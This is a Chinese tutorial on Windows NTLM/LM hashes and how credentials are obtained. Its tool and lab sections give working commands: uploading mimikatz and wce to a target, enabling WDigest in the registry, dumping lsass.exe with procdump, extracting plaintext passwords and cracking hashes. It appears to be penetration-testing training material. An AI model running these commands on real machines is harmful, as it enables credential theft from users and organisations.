hash認證概念與hash破解方式(工具使用方式)
目錄:

一:hash認證與破解
Hash的概念
一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長度的輸入,通過散列算法,變換成固定長度的輸 出,該輸出就是散列值。
這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小于輸入的空間,不同的輸入可能會散列成相同的輸出,所 以不可能從散列值來唯一的確定輸入值。簡單的說就是一種將任意長度的消息壓縮到某一固定長度的消息摘要的函數。
常用的Hash算法
MD4:它是基于32位操作數的位操作來實現的。
MD5:比MD4更復雜,并且速度較之要慢一點,但更安全。
SHA-1及其他:對長度小于264的輸入,產生160bit的散列值,抗窮舉性更好
本地認證SAM文件
Windows的登陸密碼是儲存在系統本地的SAM文件中的,在登陸Windows的時候,系統會將用戶輸入的”密碼”與 SAM文件中的”密碼”進行對比,如果相同,則認證成功。
SAM文件是位于 %SystemRoot%\system32\config\ 目錄下的,用于儲存本地所有用戶的憑證信息,但是這并不代 表著可以隨意去查看系統密碼。

LM Hash
LM hash是NTLM hash的前身,它本身是非常脆弱的,LM與NTLM協議的認證機制相同,但是加密算法不同。
目前大多數的Windows都采用NTLM協議認證,LM協議已經基本淘汰了。
LM Hash的規則:
用戶的密碼被限制為最多14個字符
將明文密碼轉換為大寫
密碼轉換為16進制字符串,不足14字節將會用0補全
密碼的16進制字符串被分成兩個7byte部分。
分別將兩組數據,用str_to_key()函數處理得到兩組8字節數據
這兩組8字節數據將做為DESKEY對魔術字符串”KGS!@#$%”進行標準DES加密
將加密后的這兩組數據簡單拼接,就得到了最后的LM Hash
NTLM Hash
Windows本身是不會存儲明文密碼的,在SAM文件中所儲存的是密碼的hash值,在登陸對比的時候,也是先將用戶 的輸入轉換為hash值,才進行對比的。
目前在Windows中所使用的密碼hash被稱為NTLM hash,全稱為:NT LAN Manager,它是一個由數字和字母組成 的32位的值,是經過hex、Unicode、MD4三層加密后得到的。
Windows Hash格式
Username:RID:Lmhash:NThash

本地認證完整流程
首先,用戶注銷、重啟、鎖屏后,操作系統會讓 winlogon.exe 顯示登錄界面,讓用戶輸入密碼
之后將密碼交給lsass.exe,這個進程中會保存一份明文密碼,將明文密碼加密成NTLM Hash,與SAM數據庫比較認證。
注意:
Winlogon.exe 是Windows NT用戶登陸程序,用于管理用戶登錄和退出
Lsass.exe 是windows系統的安全機制,它用于本地安全和登陸策略

二、Hash獲取常用工具
要在system權限 下獲取hash。如果是普通 用戶權限,要提權后獲取
Wce
Wce既可以直接獲取明文,也可以獲取Hash
1.上傳wce.exe到目標機中

2.在命令執行處運行wce.exe,獲取hash值

Gethashes
一般使用“GetHashes $Local”來獲取系統的Hash密碼值,該命令僅在system權限下才能執行成功。
QuarksPwDump
Quarks PwDump必須在Dos命令提示符下運行
1.使用cmd打開QuarksPwDump

2.輸入命令:quarksDump.exe –dhl #獲取本地hash

Pwdump
上傳pwdump,使用pwdump獲取administrator的hash

Mimikatz
mimikatz是一款輕量級的調試神器,功能非常強大,其中最常用的功 能就是抓取明文或Hash
上傳mimikatz,使用mimikatz獲取hash
命令:privilege::debug sekurlsa::logonpasswords

三、Hash破解常用方法
本地破解:Ophcrack
1.設置彩虹表:
在Ophcrack軟件主界面中單擊“Table”,接著就會出來如圖所示的Table Selection界面,在缺省狀態下,所有表 都沒有安裝,通過該界面我們了解到一共有8個彩虹表,其中有三個是免費的。
例如在本例中選擇“Xp free small”,然后單擊“Install”按鈕,系統會自動到Ophcrack軟件的安裝目錄

※注意:
在Ophcrack軟件中其彩虹表的上級目錄名稱必須 為“tables”,否則彩虹表安裝不會成功。
彩虹表安裝成功后,其條目會變成綠色
2. 加載sam文件:
單擊“Load”按鈕,如圖所示,一共有5個選項,第一個主要用于對單個Hash的破解,第二個是對獲取的Pwdump文件進行破解,第三個是對加密的sam文件進行破解,第四個和第五個主要用來審計或者破解本地和遠程Hash密碼

3. 查看HASH值:
選擇一個Pwdump文件,如果pwdump系統的hash密碼沒有錯誤,則會在Ophcrack軟件主界面中正確顯示
如圖,在主界面中分別顯示“User”、“LM Hash”、“NT Hash”、“LM Pwd1 ”、“LM Pwd2”以及“NT pwd” 等信息。

4.破解Hash值:
單擊“Crack”開始破解,很快就破解出來了密碼

本地破解:SAMInside
一款圖形界面工具,可以獲取包括Windows 2008 Server以下操作系統的用戶密碼Hash值。



在線破解:https://www.objectif-securite.ch/en/ophcrack
將NTHash 粘貼進網站,點擊go,破解出密碼

四、明文密碼獲取
windows 將登錄密碼加密后存在內存中,這樣只要我們找到對應的內存段,然后解密那塊內存,就得到了明文密碼。
已經知道 windows 的加密密碼內存段是在lsass.exe的進程空間里,所以攻擊者只要注入到進程空間,定位到那塊內存,剩下的事就是逆向一個字符串加密算法的過程了
注意事項:
一定要在system權限下獲取明文密碼
版本問題:
當系統為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼。如下圖,密碼字段顯示為null

解決方法: 可以通過修改注冊表的方式抓取明文,但需要用戶重新登錄后才能成功抓取。
修改注冊表命令:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG_DWORD /d 1 /f
補丁問題:
在 KB2871997 之前, Mimikatz 可以直接抓取明文密碼。安裝 KB2871997 補丁后,系統默認禁用 Wdigest Auth , 內存(lsass進程)不再保存明文口令。
Wce
wce抓取明文密碼命令:wce.exe -w

Getpass
直接運行Getpass.exe,即直接獲取明文密碼

Mimikatz
命令:
privilege::debug //提升權限
sekurlsa::logonpasswords //抓取密碼

CS與MSF拿到shell,后命令獲取

五、實驗:Win2012獲取hash、密碼
實驗說明
windows從win10開始,默認不會在 lsass.exe 里存儲明文密碼,可以在管理員權限下修改注冊表,再迫使管 理員重新登錄,獲取明文密碼
1. 連接目標機的webshell
2. 修改注冊表
reg add hkey_local_machine\system\currentcontrolset\control\securityproviders\wdigest\ /v uselogoncredential
/t reg_dword /d 1 /f

3.鎖屏或者注銷已登錄的賬戶,迫使用戶重新登錄
該實驗,設置了系統自動登錄,cmd下重啟系統,賬戶重新登錄
立即重啟:shutdown /r /t 0
4.使用procdump獲取內存中的密碼信息,并將lsass.dmp下載到本地
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

5.使用mimikatz讀取密碼信息
本地讀取:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >> 1.txt

在目標機讀取:需上傳mimikatz到目標機
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit >> log.txt
